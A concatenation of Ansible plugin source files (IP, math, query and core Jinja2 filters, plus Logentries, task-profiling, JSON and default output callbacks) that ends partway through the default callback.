# ---- Ansible filters ----

class FilterModule(object):
    ''' IP address and network manipulation filters '''
    filter_map =  {
        # IP addresses and networks
        'ipaddr': ipaddr,
        'ipwrap': ipwrap,
        'ipv4': ipv4,
        'ipv6': ipv6,
        'ipsubnet': ipsubnet,
        'nthhost': nthhost,
        'slaac': slaac,
        'ip4_hex': ip4_hex,

        # MAC / HW addresses
        'hwaddr': hwaddr,
        'macaddr': macaddr
    }

    def filters(self):
        if netaddr:
            return self.filter_map
        else:
            # Need to install python-netaddr for these filters to work
            return dict((f, partial(_need_netaddr, f)) for f in self.filter_map)






# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type








# (c) 2014, Brian Coca <bcoca@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type


import math
import collections
from ansible import errors

def unique(a):
    if isinstance(a,collections.Hashable):
        c = set(a)
    else:
        c = []
        for x in a:
            if x not in c:
                c.append(x)
    return c

def intersect(a, b):
    if isinstance(a,collections.Hashable) and isinstance(b,collections.Hashable):
        c = set(a) & set(b)
    else:
        c = unique(filter(lambda x: x in b, a))
    return c

def difference(a, b):
    if isinstance(a,collections.Hashable) and isinstance(b,collections.Hashable):
        c = set(a) - set(b)
    else:
        c = unique(filter(lambda x: x not in b, a))
    return c

def symmetric_difference(a, b):
    if isinstance(a,collections.Hashable) and isinstance(b,collections.Hashable):
        c = set(a) ^ set(b)
    else:
        c = unique(filter(lambda x: x not in intersect(a,b), union(a,b)))
    return c

def union(a, b):
    if isinstance(a,collections.Hashable) and isinstance(b,collections.Hashable):
        c = set(a) | set(b)
    else:
        c = unique(a + b)
    return c

def min(a):
    _min = __builtins__.get('min')
    return _min(a);

def max(a):
    _max = __builtins__.get('max')
    return _max(a);


def logarithm(x, base=math.e):
    try:
        if base == 10:
            return math.log10(x)
        else:
            return math.log(x, base)
    except TypeError as e:
        raise errors.AnsibleFilterError('log() can only be used on numbers: %s' % str(e))


def power(x, y):
    try:
        return math.pow(x, y)
    except TypeError as e:
        raise errors.AnsibleFilterError('pow() can only be used on numbers: %s' % str(e))


def inversepower(x, base=2):
    try:
        if base == 2:
            return math.sqrt(x)
        else:
            return math.pow(x, 1.0/float(base))
    except TypeError as e:
        raise errors.AnsibleFilterError('root() can only be used on numbers: %s' % str(e))


def human_readable(size, isbits=False, unit=None):

    base = 'bits' if isbits else 'Bytes'
    suffix = ''

    ranges = (
            (1<<70, 'Z'),
            (1<<60, 'E'),
            (1<<50, 'P'),
            (1<<40, 'T'),
            (1<<30, 'G'),
            (1<<20, 'M'),
            (1<<10, 'K'),
            (1, base)
        )

    for limit, suffix in ranges:
        if (unit is None and size >= limit) or \
            unit is not None and unit.upper() == suffix:
            break

    if limit != 1:
        suffix += base[0]

    return '%.2f %s' % (float(size)/ limit, suffix)

class FilterModule(object):
    ''' Ansible math jinja2 filters '''

    def filters(self):
        return {
            # general math
            'min' : min,
            'max' : max,

            # exponents and logarithms
            'log': logarithm,
            'pow': power,
            'root': inversepower,

            # set theory
            'unique' : unique,
            'intersect': intersect,
            'difference': difference,
            'symmetric_difference': symmetric_difference,
            'union': union,

            # computer theory
            'human_readable' : human_readable,

        }






# (c) 2015, Filipe Niero Felisbino <filipenf@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase
from ansible.utils.listify import listify_lookup_plugin_terms

try:
    import jmespath
    HAS_LIB = True
except ImportError:
    HAS_LIB = False


def json_query(data, expr):
    '''Query data using jmespath query language ( http://jmespath.org ). Example:
    - debug: msg="{{ instance | json_query(tagged_instances[*].block_device_mapping.*.volume_id') }}"
    '''
    if not HAS_LIB:
        raise AnsibleError('You need to install "jmespath" prior to running '
                           'json_query filter')

    return jmespath.search(expr, data)

class FilterModule(object):
    ''' Query filter '''

    def filters(self):
        return {
            'json_query': json_query
        }






# (c) 2012, Jeroen Hoekx <jeroen@hoekx.be>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type


import sys
import base64
import itertools
import json
import os.path
import ntpath
import pipes
import glob
import re
import crypt
import hashlib
import string
from functools import partial
from random import SystemRandom, shuffle
import uuid

import yaml
from jinja2.filters import environmentfilter
from ansible.compat.six import iteritems, string_types

from ansible import errors
from ansible.parsing.yaml.dumper import AnsibleDumper
from ansible.utils.hashing import md5s, checksum_s
from ansible.utils.unicode import unicode_wrap, to_unicode
from ansible.utils.vars import merge_hash
from ansible.vars.hostvars import HostVars

try:
    import passlib.hash
    HAS_PASSLIB = True
except:
    HAS_PASSLIB = False


UUID_NAMESPACE_ANSIBLE = uuid.UUID('361E6D51-FAEC-444A-9079-341386DA8E2E')

class AnsibleJSONEncoder(json.JSONEncoder):
    '''
    Simple encoder class to deal with JSON encoding of internal
    types like HostVars
    '''
    def default(self, o):
        if isinstance(o, HostVars):
            return dict(o)
        else:
            return json.JSONEncoder.default(o)

def to_yaml(a, *args, **kw):
    '''Make verbose, human readable yaml'''
    transformed = yaml.dump(a, Dumper=AnsibleDumper, allow_unicode=True, **kw)
    return to_unicode(transformed)

def to_nice_yaml(a, indent=4, *args, **kw):
    '''Make verbose, human readable yaml'''
    transformed = yaml.dump(a, Dumper=AnsibleDumper, indent=indent, allow_unicode=True, default_flow_style=False, **kw)
    return to_unicode(transformed)

def to_json(a, *args, **kw):
    ''' Convert the value to JSON '''
    return json.dumps(a, cls=AnsibleJSONEncoder, *args, **kw)

def to_nice_json(a, indent=4, *args, **kw):
    '''Make verbose, human readable JSON'''
    # python-2.6's json encoder is buggy (can't encode hostvars)
    if sys.version_info < (2, 7):
        try:
            import simplejson
        except ImportError:
            pass
        else:
            try:
                major = int(simplejson.__version__.split('.')[0])
            except:
                pass
            else:
                if major >= 2:
                    return simplejson.dumps(a, indent=indent, sort_keys=True, *args, **kw)

    try:
        return json.dumps(a, indent=indent, sort_keys=True, cls=AnsibleJSONEncoder, *args, **kw)
    except:
        # Fallback to the to_json filter
        return to_json(a, *args, **kw)

def to_bool(a):
    ''' return a bool for the arg '''
    if a is None or type(a) == bool:
        return a
    if isinstance(a, string_types):
        a = a.lower()
    if a in ['yes', 'on', '1', 'true', 1]:
        return True
    else:
        return False

def quote(a):
    ''' return its argument quoted for shell usage '''
    return pipes.quote(a)

def fileglob(pathname):
    ''' return list of matched files for glob '''
    return glob.glob(pathname)

def regex_replace(value='', pattern='', replacement='', ignorecase=False):
    ''' Perform a `re.sub` returning a string '''

    value = to_unicode(value, errors='strict', nonstring='simplerepr')

    if ignorecase:
        flags = re.I
    else:
        flags = 0
    _re = re.compile(pattern, flags=flags)
    return _re.sub(replacement, value)

def regex_findall(value, regex, multiline=False, ignorecase=False):
    ''' Perform re.findall and return the list of matches '''
    flags = 0
    if ignorecase:
        flags |= re.I
    if multiline:
        flags |= re.M
    return re.findall(regex, value, flags)

def regex_search(value, regex, *args, **kwargs):
    ''' Perform re.search and return the list of matches or a backref '''

    groups = list()
    for arg in args:
        if arg.startswith('\\g'):
            match = re.match(r'\\g<(\S+)>', arg).group(1)
            groups.append(match)
        elif arg.startswith('\\'):
            match = int(re.match(r'\\(\d+)', arg).group(1))
            groups.append(match)
        else:
            raise errors.AnsibleFilterError('Unknown argument')

    flags = 0
    if kwargs.get('ignorecase'):
        flags |= re.I
    if kwargs.get('multiline'):
        flags |= re.M

    match = re.search(regex, value, flags)
    if match:
        if not groups:
            return match.group()
        else:
            items = list()
            for item in groups:
                items.append(match.group(item))
            return items

def ternary(value, true_val, false_val):
    '''  value ? true_val : false_val '''
    if value:
        return true_val
    else:
        return false_val



def regex_escape(string):
    '''Escape all regular expressions special characters from STRING.'''
    return re.escape(string)

@environmentfilter
def rand(environment, end, start=None, step=None):
    r = SystemRandom()
    if isinstance(end, (int, long)):
        if not start:
            start = 0
        if not step:
            step = 1
        return r.randrange(start, end, step)
    elif hasattr(end, '__iter__'):
        if start or step:
            raise errors.AnsibleFilterError('start and step can only be used with integer values')
        return r.choice(end)
    else:
        raise errors.AnsibleFilterError('random can only be used on sequences and integers')

def randomize_list(mylist):
    try:
        mylist = list(mylist)
        shuffle(mylist)
    except:
        pass
    return mylist

def get_hash(data, hashtype='sha1'):

    try: # see if hash is supported
        h = hashlib.new(hashtype)
    except:
        return None

    h.update(data)
    return h.hexdigest()

def get_encrypted_password(password, hashtype='sha512', salt=None):

    # TODO: find a way to construct dynamically from system
    cryptmethod= {
        'md5':      '1',
        'blowfish': '2a',
        'sha256':   '5',
        'sha512':   '6',
    }

    if hashtype in cryptmethod:
        if salt is None:
            r = SystemRandom()
            if hashtype in ['md5']:
                saltsize = 8
            else:
                saltsize = 16
            salt = ''.join([r.choice(string.ascii_letters + string.digits) for _ in range(saltsize)])

        if not HAS_PASSLIB:
            if sys.platform.startswith('darwin'):
                raise errors.AnsibleFilterError('|password_hash requires the passlib python module to generate password hashes on Mac OS X/Darwin')
            saltstring =  "$%s$%s" % (cryptmethod[hashtype],salt)
            encrypted = crypt.crypt(password, saltstring)
        else:
            cls = getattr(passlib.hash, '%s_crypt' % hashtype)
            encrypted = cls.encrypt(password, salt=salt)

        return encrypted

    return None

def to_uuid(string):
    return str(uuid.uuid5(UUID_NAMESPACE_ANSIBLE, str(string)))

def mandatory(a):
    from jinja2.runtime import Undefined

    ''' Make a variable mandatory '''
    if isinstance(a, Undefined):
        raise errors.AnsibleFilterError('Mandatory variable not defined.')
    return a

def combine(*terms, **kwargs):
    recursive = kwargs.get('recursive', False)
    if len(kwargs) > 1 or (len(kwargs) == 1 and 'recursive' not in kwargs):
        raise errors.AnsibleFilterError("'recursive' is the only valid keyword argument")

    for t in terms:
        if not isinstance(t, dict):
            raise errors.AnsibleFilterError("|combine expects dictionaries, got " + repr(t))

    if recursive:
        return reduce(merge_hash, terms)
    else:
        return dict(itertools.chain(*map(iteritems, terms)))

def comment(text, style='plain', **kw):
    # Predefined comment types
    comment_styles = {
        'plain': {
            'decoration': '# '
        },
        'erlang': {
            'decoration': '% '
        },
        'c': {
            'decoration': '// '
        },
        'cblock': {
            'beginning': '/*',
            'decoration': ' * ',
            'end': ' */'
        },
        'xml': {
            'beginning': '<!--',
            'decoration': ' - ',
            'end': '-->'
        }
    }

    # Pointer to the right comment type
    style_params = comment_styles[style]

    if 'decoration' in kw:
        prepostfix = kw['decoration']
    else:
        prepostfix = style_params['decoration']

    # Default params
    p = {
        'newline': '\n',
        'beginning': '',
        'prefix': (prepostfix).rstrip(),
        'prefix_count': 1,
        'decoration': '',
        'postfix': (prepostfix).rstrip(),
        'postfix_count': 1,
        'end': ''
    }

    # Update default params
    p.update(style_params)
    p.update(kw)

    # Compose substrings for the final string
    str_beginning = ''
    if p['beginning']:
        str_beginning = "%s%s" % (p['beginning'], p['newline'])
    str_prefix = str(
        "%s%s" % (p['prefix'], p['newline'])) * int(p['prefix_count'])
    str_text = ("%s%s" % (
        p['decoration'],
        # Prepend each line of the text with the decorator
        text.replace(
            p['newline'], "%s%s" % (p['newline'], p['decoration'])))).replace(
                # Remove trailing spaces when only decorator is on the line
                "%s%s" % (p['decoration'], p['newline']),
                "%s%s" % (p['decoration'].rstrip(), p['newline']))
    str_postfix = p['newline'].join(
        [''] + [p['postfix'] for x in range(p['postfix_count'])])
    str_end = ''
    if p['end']:
        str_end = "%s%s" % (p['newline'], p['end'])

    # Return the final string
    return "%s%s%s%s%s" % (
        str_beginning,
        str_prefix,
        str_text,
        str_postfix,
        str_end)

def extract(item, container, morekeys=None):
    from jinja2.runtime import Undefined

    value = container[item]

    if value is not Undefined and morekeys is not None:
        if not isinstance(morekeys, list):
            morekeys = [morekeys]

        value = reduce(lambda d, k: d[k], morekeys, value)

    return value

class FilterModule(object):
    ''' Ansible core jinja2 filters '''

    def filters(self):
        return {
            # base 64
            'b64decode': partial(unicode_wrap, base64.b64decode),
            'b64encode': partial(unicode_wrap, base64.b64encode),

            # uuid
            'to_uuid': to_uuid,

            # json
            'to_json': to_json,
            'to_nice_json': to_nice_json,
            'from_json': json.loads,

            # yaml
            'to_yaml': to_yaml,
            'to_nice_yaml': to_nice_yaml,
            'from_yaml': yaml.safe_load,

            # path
            'basename': partial(unicode_wrap, os.path.basename),
            'dirname': partial(unicode_wrap, os.path.dirname),
            'expanduser': partial(unicode_wrap, os.path.expanduser),
            'realpath': partial(unicode_wrap, os.path.realpath),
            'relpath': partial(unicode_wrap, os.path.relpath),
            'splitext': partial(unicode_wrap, os.path.splitext),
            'win_basename': partial(unicode_wrap, ntpath.basename),
            'win_dirname': partial(unicode_wrap, ntpath.dirname),
            'win_splitdrive': partial(unicode_wrap, ntpath.splitdrive),

            # value as boolean
            'bool': to_bool,

            # quote string for shell usage
            'quote': quote,

            # hash filters
            # md5 hex digest of string
            'md5': md5s,
            # sha1 hex digeset of string
            'sha1': checksum_s,
            # checksum of string as used by ansible for checksuming files
            'checksum': checksum_s,
            # generic hashing
            'password_hash': get_encrypted_password,
            'hash': get_hash,

            # file glob
            'fileglob': fileglob,

            # regex
            'regex_replace': regex_replace,
            'regex_escape': regex_escape,
            'regex_search': regex_search,
            'regex_findall': regex_findall,

            # ? : ;
            'ternary': ternary,

            # list
            # random stuff
            'random': rand,
            'shuffle': randomize_list,
            # undefined
            'mandatory': mandatory,

            # merge dicts
            'combine': combine,

            # comment-style decoration
            'comment': comment,

            # array and dict lookups
            'extract': extract,
        }






""" (c) 2015, Logentries.com, Jimmy Tang <jimmy.tang@logentries.com>

# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

This callback plugin will generate json objects to be sent to logentries
for auditing/debugging purposes.

Todo:

* Better formatting of output before sending out to logentries data/api nodes.

To use:

Add this to your ansible.cfg file in the defaults block

    [defaults]
    callback_plugins = ./callback_plugins
    callback_stdout = logentries
    callback_whitelist = logentries

Copy the callback plugin into the callback_plugins directory

Either set the environment variables

    export LOGENTRIES_API=data.logentries.com
    export LOGENTRIES_PORT=10000
    export LOGENTRIES_ANSIBLE_TOKEN=dd21fc88-f00a-43ff-b977-e3a4233c53af

Or create a logentries.ini config file that sites next to the plugin with the following contents

    [logentries]
    api = data.logentries.com
    port = 10000
    tls_port = 20000
    use_tls = no
    token = dd21fc88-f00a-43ff-b977-e3a4233c53af
    flatten = False


"""

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import socket
import random
import time
import codecs
import uuid
from ansible.compat.six.moves import configparser

try:
    import certifi
    HAS_CERTIFI = True
except ImportError:
    HAS_CERTIFI = False

try:
    import flatdict
    HAS_FLATDICT = True
except ImportError:
    HAS_FLATDICT = False

from ansible.plugins.callback import CallbackBase


def is_unicode(ch):
    return isinstance(ch, unicode)


def create_unicode(ch):
    return unicode(ch, 'utf-8')


class PlainTextSocketAppender(object):
    def __init__(self,
                 verbose=True,
                 LE_API='data.logentries.com',
                 LE_PORT=80,
                 LE_TLS_PORT=443):

        self.LE_API = LE_API
        self.LE_PORT = LE_PORT
        self.LE_TLS_PORT = LE_TLS_PORT
        self.MIN_DELAY = 0.1
        self.MAX_DELAY = 10
        # Error message displayed when an incorrect Token has been detected
        self.INVALID_TOKEN = ("\n\nIt appears the LOGENTRIES_TOKEN "
                              "parameter you entered is incorrect!\n\n")
        # Unicode Line separator character   \u2028
        self.LINE_SEP = u'\u2028'

        self.verbose = verbose
        self._conn = None

    def open_connection(self):
        self._conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._conn.connect((self.LE_API, self.LE_PORT))

    def reopen_connection(self):
        self.close_connection()

        root_delay = self.MIN_DELAY
        while True:
            try:
                self.open_connection()
                return
            except Exception:
                if self.verbose:
                    self._display.warning("Unable to connect to Logentries")

            root_delay *= 2
            if (root_delay > self.MAX_DELAY):
                root_delay = self.MAX_DELAY

            wait_for = root_delay + random.uniform(0, root_delay)

            try:
                time.sleep(wait_for)
            except KeyboardInterrupt:
                raise

    def close_connection(self):
        if self._conn is not None:
            self._conn.close()

    def put(self, data):
        # Replace newlines with Unicode line separator
        # for multi-line events
        if not is_unicode(data):
            multiline = create_unicode(data).replace('\n', self.LINE_SEP)
        else:
            multiline = data.replace('\n', self.LINE_SEP)
        multiline += "\n"
        # Send data, reconnect if needed
        while True:
            try:
                self._conn.send(multiline.encode('utf-8'))
            except socket.error:
                self.reopen_connection()
                continue
            break

        self.close_connection()


try:
    import ssl
    HAS_SSL=True
except ImportError:  # for systems without TLS support.
    SocketAppender = PlainTextSocketAppender
    HAS_SSL=False
else:

    class TLSSocketAppender(PlainTextSocketAppender):
        def open_connection(self):
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock = ssl.wrap_socket(
                sock=sock,
                keyfile=None,
                certfile=None,
                server_side=False,
                cert_reqs=ssl.CERT_REQUIRED,
                ssl_version=getattr(
                    ssl, 'PROTOCOL_TLSv1_2', ssl.PROTOCOL_TLSv1),
                ca_certs=certifi.where(),
                do_handshake_on_connect=True,
                suppress_ragged_eofs=True, )
            sock.connect((self.LE_API, self.LE_TLS_PORT))
            self._conn = sock

    SocketAppender = TLSSocketAppender


class CallbackModule(CallbackBase):
    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'notification'
    CALLBACK_NAME = 'logentries'
    CALLBACK_NEEDS_WHITELIST = True

    def __init__(self):
        super(CallbackModule, self).__init__()

        if not HAS_SSL:
            self._display.warning("Unable to import ssl module. Will send over port 80.")

        if not HAS_CERTIFI:
            self.disabled =True
            self._display.warning('The `certifi` python module is not installed. '
                                 'Disabling the Logentries callback plugin.')

        if not HAS_FLATDICT:
            self.disabled =True
            self._display.warning('The `flatdict` python module is not installed. '
                                 'Disabling the Logentries callback plugin.')

        config_path = os.path.abspath(os.path.dirname(__file__))
        config = configparser.ConfigParser()
        try:
            config.readfp(open(os.path.join(config_path, 'logentries.ini')))
            if config.has_option('logentries', 'api'):
                self.api_uri = config.get('logentries', 'api')
            if config.has_option('logentries', 'port'):
                self.api_port = config.getint('logentries', 'port')
            if config.has_option('logentries', 'tls_port'):
                self.api_tls_port = config.getint('logentries', 'tls_port')
            if config.has_option('logentries', 'use_tls'):
                self.use_tls = config.getboolean('logentries', 'use_tls')
            if config.has_option('logentries', 'token'):
                self.token = config.get('logentries', 'token')
            if config.has_option('logentries', 'flatten'):
                self.flatten = config.getboolean('logentries', 'flatten')

        except:
            self.api_uri = os.getenv('LOGENTRIES_API')
            if self.api_uri is None:
                self.api_uri = 'data.logentries.com'

            try:
                self.api_port = int(os.getenv('LOGENTRIES_PORT'))
                if self.api_port is None:
                    self.api_port = 80
            except TypeError:
                self.api_port = 80

            try:
                self.api_tls_port = int(os.getenv('LOGENTRIES_TLS_PORT'))
                if self.api_tls_port is None:
                    self.api_tls_port = 443
            except TypeError:
                self.api_tls_port = 443

            # this just needs to be set to use TLS
            self.use_tls = os.getenv('LOGENTRIES_USE_TLS')
            if self.use_tls is None:
                self.use_tls = False
            elif self.use_tls.lower() in ['yes', 'true']:
                self.use_tls = True

            self.token = os.getenv('LOGENTRIES_ANSIBLE_TOKEN')
            if self.token is None:
                self.disabled = True
                self._display.warning('Logentries token could not be loaded. The logentries token can be provided using the `LOGENTRIES_TOKEN` environment variable')

            self.flatten = os.getenv('LOGENTRIES_FLATTEN')
            if self.flatten is None:
                self.flatten = False
            elif self.flatten.lower() in ['yes', 'true']:
                self.flatten = True

        self.verbose = False
        self.timeout = 10
        self.le_jobid = str(uuid.uuid4())

        if self.use_tls:
            self._appender = TLSSocketAppender(verbose=self.verbose,
                                               LE_API=self.api_uri,
                                               LE_TLS_PORT=self.api_tls_port)
        else:
            self._appender = PlainTextSocketAppender(verbose=self.verbose,
                                                     LE_API=self.api_uri,
                                                     LE_PORT=self.api_port)
        self._appender.reopen_connection()

    def emit_formatted(self, record):
        if self.flatten:
            results = flatdict.FlatDict(record)
            self.emit(self._dump_results(results))
        else:
            self.emit(self._dump_results(record))

    def emit(self, record):
        msg = record.rstrip('\n')
        msg = "{} {}".format(self.token, msg)
        self._appender.put(msg)

    def runner_on_ok(self, host, res):
        results = {}
        results['le_jobid'] = self.le_jobid
        results['hostname'] = host
        results['results'] = res
        results['status'] = 'OK'
        self.emit_formatted(results)

    def runner_on_failed(self, host, res, ignore_errors=False):
        results = {}
        results['le_jobid'] = self.le_jobid
        results['hostname'] = host
        results['results'] = res
        results['status'] = 'FAILED'
        self.emit_formatted(results)

    def runner_on_skipped(self, host, item=None):
        results = {}
        results['le_jobid'] = self.le_jobid
        results['hostname'] = host
        results['status'] = 'SKIPPED'
        self.emit_formatted(results)

    def runner_on_unreachable(self, host, res):
        results = {}
        results['le_jobid'] = self.le_jobid
        results['hostname'] = host
        results['results'] = res
        results['status'] = 'UNREACHABLE'
        self.emit_formatted(results)

    def runner_on_async_failed(self, host, res, jid):
        results = {}
        results['le_jobid'] = self.le_jobid
        results['hostname'] = host
        results['results'] = res
        results['jid'] = jid
        results['status'] = 'ASYNC_FAILED'
        self.emit_formatted(results)

    def v2_playbook_on_play_start(self, play):
        results = {}
        results['le_jobid'] = self.le_jobid
        results['started_by'] = os.getlogin()
        if play.name:
            results['play'] = play.name
        results['hosts'] = play.hosts
        self.emit_formatted(results)

    def playbook_on_stats(self, stats):
        """ close connection """
        self._appender.close_connection()






# (C) 2016, Joel, http://github.com/jjshoe 
# (C) 2015, Tom Paine, <github@aioue.net>
# (C) 2014, Jharrod LaFon, @JharrodLaFon
# (C) 2012-2013, Michael DeHaan, <michael.dehaan@gmail.com>
#
# This file is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# File is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# See <http://www.gnu.org/licenses/> for a copy of the
# GNU General Public License

# Provides per-task timing, ongoing playbook elapsed time and
# ordered list of top 20 longest running tasks at end

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import collections
import os
import time

from ansible.plugins.callback import CallbackBase

# define start time
t0 = tn = time.time()

def secondsToStr(t):
    # http://bytes.com/topic/python/answers/635958-handy-short-cut-formatting-elapsed-time-floating-point-seconds
    rediv = lambda ll, b: list(divmod(ll[0], b)) + ll[1:]
    return "%d:%02d:%02d.%03d" % tuple(reduce(rediv, [[t * 1000, ], 1000, 60, 60]))


def filled(msg, fchar="*"):
    if len(msg) == 0:
        width = 79
    else:
        msg = "%s " % msg
        width = 79 - len(msg)
    if width < 3:
        width = 3
    filler = fchar * width
    return "%s%s " % (msg, filler)


def timestamp(self):
    if self.current is not None:
        self.stats[self.current]['time'] = time.time() - self.stats[self.current]['time']


def tasktime():
    global tn
    time_current = time.strftime('%A %d %B %Y  %H:%M:%S %z')
    time_elapsed = secondsToStr(time.time() - tn)
    time_total_elapsed = secondsToStr(time.time() - t0)
    tn = time.time()
    return filled('%s (%s)%s%s' % (time_current, time_elapsed, ' ' * 7, time_total_elapsed))


class CallbackModule(CallbackBase):
    """
    This callback module provides per-task timing, ongoing playbook elapsed time
    and ordered list of top 20 longest running tasks at end.
    """
    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'aggregate'
    CALLBACK_NAME = 'profile_tasks'
    CALLBACK_NEEDS_WHITELIST = True

    def __init__(self):
        self.stats = collections.OrderedDict()
        self.current = None
        self.sort_order = os.getenv('PROFILE_TASKS_SORT_ORDER', True)
        self.task_output_limit = os.getenv('PROFILE_TASKS_TASK_OUTPUT_LIMIT', 20)

        if self.sort_order == 'ascending':
            self.sort_order = False;

        if self.task_output_limit == 'all':
            self.task_output_limit = None
        else:
            self.task_output_limit = int(self.task_output_limit) 

        super(CallbackModule, self).__init__()

    def _record_task(self, task):
        """
        Logs the start of each task
        """
        self._display.display(tasktime())
        timestamp(self)

        # Record the start time of the current task
        self.current = task._uuid
        self.stats[self.current] = {'time': time.time(), 'name': task.get_name()}
        if self._display.verbosity >= 2:
            self.stats[self.current][ 'path'] = task.get_path()

    def v2_playbook_on_task_start(self, task, is_conditional):
        self._record_task(task)

    def v2_playbook_on_handler_task_start(self, task):
        self._record_task(task)

    def playbook_on_setup(self):
        self._display.display(tasktime())

    def playbook_on_stats(self, stats):
        self._display.display(tasktime())
        self._display.display(filled("", fchar="="))

        timestamp(self)

        results = self.stats.items() 

        # Sort the tasks by the specified sort
        if self.sort_order != 'none':
            results = sorted(
                self.stats.iteritems(),
                key=lambda x:x[1]['time'],
                reverse=self.sort_order,
            )

        # Display the number of tasks specified or the default of 20 
        results = results[:self.task_output_limit]

        # Print the timings
        for uuid, result in results:
            msg=u"{0:-<70}{1:->9}".format(result['name'] + u' ',u' {0:.02f}s'.format(result['time']))
            if 'path' in result:
                msg += u"\n{0:-<79}".format(result['path'] + u' ')
            self._display.display(msg)






# (c) 2016, Matt Martz <matt@sivel.net>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import json

from ansible.plugins.callback import CallbackBase


class CallbackModule(CallbackBase):
    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'stdout'
    CALLBACK_NAME = 'json'

    def __init__(self, display=None):
        super(CallbackModule, self).__init__(display)
        self.results = []

    def _new_play(self, play):
        return {
            'play': {
                'name': play.name,
                'id': str(play._uuid)
            },
            'tasks': []
        }

    def _new_task(self, task):
        return {
            'task': {
                'name': task.name,
                'id': str(task._uuid)
            },
            'hosts': {}
        }

    def v2_playbook_on_play_start(self, play):
        self.results.append(self._new_play(play))

    def v2_playbook_on_task_start(self, task, is_conditional):
        self.results[-1]['tasks'].append(self._new_task(task))

    def v2_runner_on_ok(self, result, **kwargs):
        host = result._host
        self.results[-1]['tasks'][-1]['hosts'][host.name] = result._result

    def v2_playbook_on_stats(self, stats):
        """Display info about playbook statistics"""

        hosts = sorted(stats.processed.keys())

        summary = {}
        for h in hosts:
            s = stats.summarize(h)
            summary[h] = s

        output = {
            'plays': self.results,
            'stats': summary
        }

        print(json.dumps(output, indent=4, sort_keys=True))

    v2_runner_on_failed = v2_runner_on_ok
    v2_runner_on_unreachable = v2_runner_on_ok
    v2_runner_on_skipped = v2_runner_on_ok






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible import constants as C
from ansible.plugins.callback import CallbackBase
from ansible.utils.color import colorize, hostcolor

class CallbackModule(CallbackBase):

    '''
    This is the default callback interface, which simply prints messages
    to stdout when new callback events are received.
    '''

    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'stdout'
    CALLBACK_NAME = 'default'

    def v2_runner_on_failed(self, result, ignore_errors=False):
        delegated_vars = result._result.get('_ansible_delegated_vars', None)
        if 'exception' in result._result:
            if self._display.verbosity < 3:
                # extract just the actual error message from the exception text
